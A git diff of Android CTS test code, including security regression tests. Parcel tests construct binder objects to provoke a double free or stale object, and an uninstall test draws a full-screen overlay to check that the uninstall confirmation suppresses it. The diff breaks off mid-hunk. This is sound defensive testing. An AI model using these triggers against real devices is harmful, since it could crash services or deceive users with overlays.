--- a/tests/tests/os/src/android/os/cts/LocaleListTest.java
+++ b/tests/tests/os/src/android/os/cts/LocaleListTest.java
@@ -88,6 +88,13 @@
         }
     }
 
+    public void testRepeatedArguments() {
+        final Locale[] la = {Locale.US, Locale.US};
+        LocaleList ll = new LocaleList(la);
+        assertEquals(1, ll.size());
+        assertEquals(Locale.US, ll.get(0));
+    }
+
     public void testIndexOf() {
         final LocaleList empty = new LocaleList();
         assertEquals(-1, empty.indexOf(Locale.US));
diff --git a/tests/tests/os/src/android/os/cts/ParcelExceptionService.java b/tests/tests/os/src/android/os/cts/ParcelExceptionService.java
new file mode 100644
index 0000000..d8387e3
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/ParcelExceptionService.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.os.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.Binder;
+import android.os.IBinder;
+import android.os.RemoteException;
+
+public class ParcelExceptionService extends Service {
+    @Override
+    public IBinder onBind(Intent intent) {
+        return new ParcelExceptionServiceImpl();
+    }
+
+    private static class ParcelExceptionServiceImpl extends IParcelExceptionService.Stub {
+        private final IBinder mBinder = new Binder();
+
+
+        @Override
+        public ExceptionalParcelable writeBinderThrowException() throws RemoteException {
+            return new ExceptionalParcelable(mBinder);
+        }
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 987ab00..858ce8d 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -24,7 +24,15 @@
 import java.util.HashSet;
 import java.util.Map;
 import java.util.Set;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
 
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
 import android.content.pm.Signature;
 import android.os.BadParcelableException;
 import android.os.Binder;
@@ -39,6 +47,8 @@
 import android.util.SparseArray;
 import android.util.SparseBooleanArray;
 
+import com.google.common.util.concurrent.AbstractFuture;
+
 public class ParcelTest extends AndroidTestCase {
 
     public void testObtain() {
@@ -3283,4 +3293,149 @@
             // good
         }
     }
+
+    public static class ParcelExceptionConnection extends AbstractFuture<IParcelExceptionService>
+            implements ServiceConnection {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            set(IParcelExceptionService.Stub.asInterface(service));
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+        }
+
+        @Override
+        public IParcelExceptionService get() throws InterruptedException, ExecutionException {
+            try {
+                return get(5, TimeUnit.SECONDS);
+            } catch (TimeoutException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    public void testExceptionOverwritesObject() throws Exception {
+        final Intent intent = new Intent();
+        intent.setComponent(new ComponentName(
+                "android.os.cts", "android.os.cts.ParcelExceptionService"));
+
+        final ParcelExceptionConnection connection = new ParcelExceptionConnection();
+
+        mContext.startService(intent);
+        assertTrue(mContext.bindService(intent, connection,
+                Context.BIND_ABOVE_CLIENT | Context.BIND_EXTERNAL_SERVICE));
+
+
+        Parcel data = Parcel.obtain();
+        Parcel reply = Parcel.obtain();
+        data.writeInterfaceToken("android.os.cts.IParcelExceptionService");
+        IParcelExceptionService service = connection.get();
+        try {
+            assertTrue("Transaction failed", service.asBinder().transact(
+                    IParcelExceptionService.Stub.TRANSACTION_writeBinderThrowException, data, reply,
+                    0));
+        } catch (Exception e) {
+            fail("Exception caught from transaction: " + e);
+        }
+        reply.setDataPosition(0);
+        assertTrue("Exception should have occurred on service-side",
+                reply.readExceptionCode() != 0);
+        assertNull("Binder should have been overwritten by the exception",
+                reply.readStrongBinder());
+    }
+
+    public static class ParcelObjectFreeService extends Service {
+
+        @Override
+        public IBinder onBind(Intent intent) {
+            return new Binder();
+        }
+
+        @Override
+        public void onCreate() {
+            super.onCreate();
+
+            Parcel parcel = Parcel.obtain();
+
+            // Construct parcel with object in it.
+            parcel.writeInt(1);
+            final int pos = parcel.dataPosition();
+            parcel.writeStrongBinder(new Binder());
+
+            // wipe out the object by setting data size
+            parcel.setDataSize(pos);
+
+            // recycle the parcel. This should not cause a native segfault
+            parcel.recycle();
+        }
+
+        public static class Connection extends AbstractFuture<IBinder>
+                implements ServiceConnection {
+
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                set(service);
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+            }
+
+            @Override
+            public IBinder get() throws InterruptedException, ExecutionException {
+                try {
+                    return get(5, TimeUnit.SECONDS);
+                } catch (TimeoutException e) {
+                    return null;
+                }
+            }
+        }
+    }
+
+    public void testObjectDoubleFree() throws Exception {
+
+        final Intent intent = new Intent();
+        intent.setComponent(new ComponentName(
+                "android.os.cts", "android.os.cts.ParcelTest$ParcelObjectFreeService"));
+
+        final ParcelObjectFreeService.Connection connection =
+                new ParcelObjectFreeService.Connection();
+
+        mContext.startService(intent);
+        assertTrue(mContext.bindService(intent, connection,
+                Context.BIND_ABOVE_CLIENT | Context.BIND_EXTERNAL_SERVICE));
+
+        assertNotNull("Service should have started without crashing.", connection.get());
+    }
+
+    public void testObjectResize() throws Exception {
+        Parcel p;
+        IBinder b1 = new Binder();
+        IBinder b2 = new Binder();
+
+        p = Parcel.obtain();
+        p.writeStrongBinder(b1);
+        p.setDataSize(0);
+        p.writeStrongBinder(b2);
+
+        p.setDataPosition(0);
+        assertEquals("Object in parcel should match the binder written after the resize", b2,
+                p.readStrongBinder());
+        p.recycle();
+
+        p = Parcel.obtain();
+        p.writeStrongBinder(b1);
+        final int secondBinderPos = p.dataPosition();
+        p.writeStrongBinder(b1);
+        p.setDataSize(secondBinderPos);
+        p.writeStrongBinder(b2);
+
+        p.setDataPosition(0);
+        assertEquals("Object at the start of the parcel parcel should match the first binder", b1,
+                p.readStrongBinder());
+        assertEquals("Object in parcel should match the binder written after the resize", b2,
+                p.readStrongBinder());
+        p.recycle();
+    }
 }
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
index cdd2588..d7f0853 100644
--- a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
+++ b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
@@ -27,7 +27,6 @@
 import android.os.ProxyFileDescriptorCallback;
 import android.os.Parcel;
 import android.os.ParcelFileDescriptor;
-import android.os.UserManager;
 import android.os.storage.OnObbStateChangeListener;
 import android.os.storage.StorageManager;
 import android.os.storage.StorageVolume;
@@ -70,22 +69,15 @@
     private static final String TEST1_NEW_CONTENTS = "1\n";
 
     private StorageManager mStorageManager;
-    private UserManager mUserManager;
     private final Handler mHandler = new Handler(Looper.getMainLooper());
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
         mStorageManager = (StorageManager) mContext.getSystemService(Context.STORAGE_SERVICE);
-        mUserManager = (UserManager) mContext.getSystemService(Context.USER_SERVICE);
     }
 
     public void testMountAndUnmountObbNormal() throws IOException {
-        // Mount obb only works for system user. Skip for secondary users.
-        if (!mUserManager.isSystemUser()) {
-            return;
-        }
-
         for (File target : getTargetFiles()) {
             target = new File(target, "test1_new.obb");
             Log.d(TAG, "Testing path " + target);
@@ -112,11 +104,6 @@
     }
 
     public void testAttemptMountNonObb() {
-        // Mount obb only works for system user. Skip for secondary users.
-        if (!mUserManager.isSystemUser()) {
-            return;
-        }
-
         for (File target : getTargetFiles()) {
             target = new File(target, "test1_nosig.obb");
             Log.d(TAG, "Testing path " + target);
@@ -154,11 +141,6 @@
     }
 
     public void testMountAndUnmountTwoObbs() throws IOException {
-        // Mount obb only works for system user. Skip for secondary users.
-        if (!mUserManager.isSystemUser()) {
-            return;
-        }
-
         for (File target : getTargetFiles()) {
             Log.d(TAG, "Testing target " + target);
             final File test1 = new File(target, "test1.obb");
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
index ffb5df0..946a041 100755
--- a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
+++ b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
@@ -29,8 +29,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
 	ub-uiautomator \
 	androidx.test.rules \
-	androidx.legacy_legacy-support-v4 \
-	compatibility-device-util-axt
+	androidx.legacy_legacy-support-v4
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
index 55d0c3a..17f97fe 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
@@ -28,8 +28,6 @@
 import android.os.UserManager;
 import android.text.TextUtils;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -51,7 +49,6 @@
         mThisAppLauncher = new ComponentName(mContext, LauncherActivity.class);
     }
 
-    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testBroadcastNotReceivedForDifferentLauncher() throws Exception {
         if (!mHasFeature) {
             return;
@@ -88,7 +85,6 @@
         assertEquals(TEST_APP_PKG, info.getAppPackageName());
     }
 
-    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testBroadcastReceivedForNewInstall() throws Exception {
         if (!mHasFeature) {
             return;
@@ -111,7 +107,6 @@
         setLauncher(mDefaultLauncher.flattenToString());
     }
 
-    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testBroadcastReceivedForEnablingApp() throws Exception {
         if (!mHasFeature || !UserManager.supportsMultipleUsers()) {
             return;
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk b/tests/tests/packageinstaller/uninstall/Android.mk
similarity index 62%
copy from hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk
copy to tests/tests/packageinstaller/uninstall/Android.mk
index 77d2b82..3b463ba 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk
+++ b/tests/tests/packageinstaller/uninstall/Android.mk
@@ -1,5 +1,4 @@
-#
-# Copyright (C) 2019 The Android Open Source Project
+# Copyright (C) 2018 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -12,24 +11,27 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
-LOCAL_PATH := $(call my-dir)
+LOCAL_PATH:= $(call my-dir)
 
 include $(CLEAR_VARS)
 
 LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-#LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
-#LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-LOCAL_PACKAGE_NAME := CtsPrivilegedUpdatePreparer
 
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_PACKAGE_NAME := CtsPackageUninstallTestCases
+
+LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator \
+    android-support-test \
+    compatibility-device-util
+    
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_JAVA_RESOURCE_DIRS := res
+
+LOCAL_SDK_VERSION := current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
 
 include $(BUILD_CTS_PACKAGE)
-
diff --git a/tests/tests/packageinstaller/uninstall/AndroidManifest.xml b/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
new file mode 100644
index 0000000..28c2b0d
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.packageinstaller.uninstall.cts" >
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
+
+    <application android:label="Cts Package Uninstaller Tests">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage="android.packageinstaller.uninstall.cts"
+                     android:label="Package Uninstaller Tests"/>
+
+</manifest>
diff --git a/tests/tests/telephony4/AndroidTest.xml b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
similarity index 68%
rename from tests/tests/telephony4/AndroidTest.xml
rename to tests/tests/packageinstaller/uninstall/AndroidTest.xml
index 636ecbb1..424a981 100644
--- a/tests/tests/telephony4/AndroidTest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+<!-- Copyright (C) 2018 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -13,15 +13,19 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<configuration description="Config for CTS Telephony4 test cases">
+
+<configuration description="Config for CTS Packageinstaller Uninstall test cases">
     <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="telecom" />
-    <option name="not-shardable" value="true" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsSimRestrictedApisTestCases.apk" />
+        <option name="test-file-name" value="CtsPackageUninstallTestCases.apk" />
+        <option name="test-file-name" value="CtsEmptyTestApp.apk" />
     </target_preparer>
+
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.telephony4.cts" />
+        <option name="package" value="android.packageinstaller.uninstall.cts" />
+        <option name="runtime-hint" value="1m" />
     </test>
 </configuration>
diff --git a/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml b/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml
new file mode 100644
index 0000000..869bf14
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml
@@ -0,0 +1,30 @@
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:padding="8dp"
+              android:gravity="center">
+
+    <TextView android:id="@+id/overlay_description"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:textColor="@android:color/black"
+              android:background="@android:color/white"
+              android:text="This is an overlay" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/AppOpsUtils.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/AppOpsUtils.java
new file mode 100644
index 0000000..365f145
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/AppOpsUtils.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2018 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.packageinstaller.uninstall.cts;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.MODE_DEFAULT;
+import static android.app.AppOpsManager.MODE_ERRORED;
+import static android.app.AppOpsManager.MODE_IGNORED;
+
+import android.app.AppOpsManager;
+import android.support.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
+
+/**
+ * Utilities for controlling App Ops settings, and testing whether ops are logged.
+ */
+public class AppOpsUtils {
+
+    /**
+     * Resets a package's app ops configuration to the device default. See AppOpsManager for the
+     * default op settings.
+     *
+     * <p>
+     * It's recommended to call this in setUp() and tearDown() of your test so the test starts and
+     * ends with a reproducible default state, and so doesn't affect other tests.
+     *
+     * <p>
+     * Some app ops are configured to be non-resettable, which means that the state of these will
+     * not be reset even when calling this method.
+     */
+    public static String reset(String packageName) throws IOException {
+        return runCommand("appops reset " + packageName);
+    }
+
+    /**
+     * Sets the app op mode (e.g. allowed, denied) for a single package and operation.
+     */
+    public static String setOpMode(String packageName, String opStr, int mode)
+            throws IOException {
+        String modeStr;
+        switch (mode) {
+            case MODE_ALLOWED:
+                modeStr = "allow";
+                break;
+            case MODE_ERRORED:
+                modeStr = "deny";
+                break;
+            case MODE_IGNORED:
+                modeStr = "ignore";
+                break;
+            case MODE_DEFAULT:
+                modeStr = "default";
+                break;
+            default:
+                throw new IllegalArgumentException("Unexpected app op type");
+        }
+        String command = "appops set " + packageName + " " + opStr + " " + modeStr;
+        return runCommand(command);
+    }
+
+    /**
+     * Get the app op mode (e.g. MODE_ALLOWED, MODE_DEFAULT) for a single package and operation.
+     */
+    public static int getOpMode(String packageName, String opStr)
+            throws IOException {
+        String opState = getOpState(packageName, opStr);
+        if (opState.contains(" allow")) {
+            return MODE_ALLOWED;
+        } else if (opState.contains(" deny")) {
+            return MODE_ERRORED;
+        } else if (opState.contains(" ignore")) {
+            return MODE_IGNORED;
+        } else if (opState.contains(" default")) {
+            return MODE_DEFAULT;
+        } else {
+            throw new IllegalStateException("Unexpected app op mode returned " + opState);
+        }
+    }
+
+    /**
+     * Returns whether an allowed operation has been logged by the AppOpsManager for a
+     * package. Operations are noted when the app attempts to perform them and calls e.g.
+     * {@link AppOpsManager#noteOperation}.
+     *
+     * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
+     */
+    public static boolean allowedOperationLogged(String packageName, String opStr)
+            throws IOException {
+        return getOpState(packageName, opStr).contains(" time=");
+    }
+
+    /**
+     * Returns whether a rejected operation has been logged by the AppOpsManager for a
+     * package. Operations are noted when the app attempts to perform them and calls e.g.
+     * {@link AppOpsManager#noteOperation}.
+     *
+     * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
+     */
+    public static boolean rejectedOperationLogged(String packageName, String opStr)
+            throws IOException {
+        return getOpState(packageName, opStr).contains(" rejectTime=");
+    }
+
+    /**
+     * Returns the app op state for a package. Includes information on when the operation was last
+     * attempted to be performed by the package.
+     *
+     * Format: "SEND_SMS: allow; time=+23h12m54s980ms ago; rejectTime=+1h10m23s180ms"
+     */
+    private static String getOpState(String packageName, String opStr) throws IOException {
+        return runCommand("appops get " + packageName + " " + opStr);
+    }
+
+    private static String runCommand(String command) throws IOException {
+        return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+    }
+}
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
new file mode 100644
index 0000000..7259fa6
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2018 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.packageinstaller.uninstall.cts;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.graphics.PixelFormat.TRANSLUCENT;
+import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.Looper;
+import android.platform.test.annotations.SecurityTest;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+
+@RunWith(AndroidJUnit4.class)
+public class UninstallTest {
+    private static final String LOG_TAG = UninstallTest.class.getSimpleName();
+
+    private static final String TEST_APK_PACKAGE_NAME = "android.packageinstaller.emptytestapp.cts";
+
+    private static final long TIMEOUT_MS = 30000;
+
+    private Context mContext;
+    private UiDevice mUiDevice;
+
+    @Before
+    public void setup() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+
+        // Unblock UI
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        if (!mUiDevice.isScreenOn()) {
+            mUiDevice.wakeUp();
+        }
+        mUiDevice.executeShellCommand("wm dismiss-keyguard");
+        AppOpsUtils.reset(mContext.getPackageName());
+    }
+
+    private void startUninstall() {
+        Intent intent = new Intent(Intent.ACTION_UNINSTALL_PACKAGE);
+        intent.setData(Uri.parse("package:" + TEST_APK_PACKAGE_NAME));
+        intent.addFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+    }
+
+    @SecurityTest
+    @Test
+    public void overlaysAreSuppressedWhenConfirmingUninstall() throws Exception {
+        AppOpsUtils.setOpMode(mContext.getPackageName(), "SYSTEM_ALERT_WINDOW", MODE_ALLOWED);
+
+        WindowManager windowManager = mContext.getSystemService(WindowManager.class);
+        LayoutParams layoutParams = new LayoutParams(MATCH_PARENT, MATCH_PARENT,
+                TYPE_APPLICATION_OVERLAY, 0, TRANSLUCENT);
+        layoutParams.gravity = Gravity.CENTER_HORIZONTAL | Gravity.CENTER_VERTICAL;
+
+        View[] overlay = new View[1];
+        new Handler(Looper.getMainLooper()).post(() -> {
+            overlay[0] = LayoutInflater.from(mContext).inflate(R.layout.overlay_activity,
+                    null);
+            windowManager.addView(overlay[0], layoutParams);
+        });
+
+        try {
+            mUiDevice.wait(Until.findObject(By.res(mContext.getPackageName(),
+                    "overlay_description")), TIMEOUT_MS);
+
+            startUninstall();
+
+            long start = System.currentTimeMillis();
+            while (System.currentTimeMillis() - start < TIMEOUT_MS) {
+                try {
+                    assertNull(mUiDevice.findObject(By.res(mContext.getPackageName(),
+                            "overlay_description")));
+                    return;
+                } catch (Throwable e) {
+                    Thread.sleep(100);
+                }
+            }
+
+            fail();
+        } finally {
+            windowManager.removeView(overlay[0]);
+        }
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
index 640139f..70788d7 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -50,14 +50,11 @@
 
     private Context mContext;
     private UiDevice mUiDevice;
-    private boolean mAutomotive;
 
     @Before
     public void setContextAndUiDevice() {
         mContext = InstrumentationRegistry.getTargetContext();
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        mAutomotive = mContext.getPackageManager()
-             .hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
     }
 
     @Before
@@ -100,9 +97,8 @@
     }
 
     protected void clickAllowButton() throws Exception {
-        mUiDevice.findObject(new UiSelector().resourceId(mAutomotive
-                ? "android:id/button1"
-                : "com.android.packageinstaller:id/permission_allow_button")).click();
+        mUiDevice.findObject(new UiSelector().resourceId(
+                "com.android.packageinstaller:id/permission_allow_button")).click();
     }
 
     private void grantPermissionViaUi() throws Throwable {
diff --git a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
index 359ea11..8e6cef5 100644
--- a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
+++ b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
@@ -72,9 +72,11 @@
         int xToCut = isOnWatchUiMode() ? bt.getWidth() / 5 : bt.getWidth() / 20;
         int yToCut = statusBarHeight;
 
-        // Crop-out the nav bar in both width and height to meet both the phone and the tablet
-        xToCut += navigationBarHeight;
-        yToCut += navigationBarHeight;
+        if (isLandscape()) {
+            xToCut += navigationBarHeight;
+        } else {
+            yToCut += navigationBarHeight;
+        }
 
         bt = Bitmap.createBitmap(
                 bt, 0, statusBarHeight, bt.getWidth() - xToCut, bt.getHeight() - yToCut);
@@ -245,4 +247,9 @@
             throw new RuntimeException("Failed to run command: " + cmd, e);
         }
     }
+
+    private boolean isLandscape() {
+        return mInstrumentation.getTargetContext().getResources().getConfiguration().orientation ==
+                Configuration.ORIENTATION_LANDSCAPE;
+    }
 }
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
index 891525f..f4a50d3 100755
--- a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
@@ -61,11 +61,10 @@
 import android.printservice.PrintJob;
 import android.provider.Settings;
 import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.Until;
+import android.support.test.uiautomator.UiSelector;
 import android.util.Log;
 import android.util.SparseArray;
 
@@ -109,7 +108,7 @@
 public abstract class BasePrintTest {
     private static final String LOG_TAG = "BasePrintTest";
 
-    protected static final long OPERATION_TIMEOUT_MILLIS = 20000;
+    protected static final long OPERATION_TIMEOUT_MILLIS = 60000;
     protected static final String PRINT_JOB_NAME = "Test";
     static final String TEST_ID = "BasePrintTest.EXTRA_TEST_ID";
 
@@ -544,17 +543,6 @@
         mCreateActivityCallCounter.reset();
     }
 
-    protected UiObject2 findUiObject(BySelector selector) throws UiObjectNotFoundException,
-            IOException {
-        UiObject2 uiObject = getUiDevice().wait(Until.findObject(selector),
-                OPERATION_TIMEOUT_MILLIS);
-        if (uiObject == null) {
-            dumpWindowHierarchy();
-            throw new UiObjectNotFoundException("Cannot find UiObject with selector: " + selector);
-        }
-        return uiObject;
-    }
-
     /**
      * Wait until the message is shown that indicates that a printer is unavailable.
      *
@@ -563,7 +551,8 @@
     protected void waitForPrinterUnavailable() throws Exception {
         final String printerUnavailableMessage = "This printer isn\'t available right now.";
 
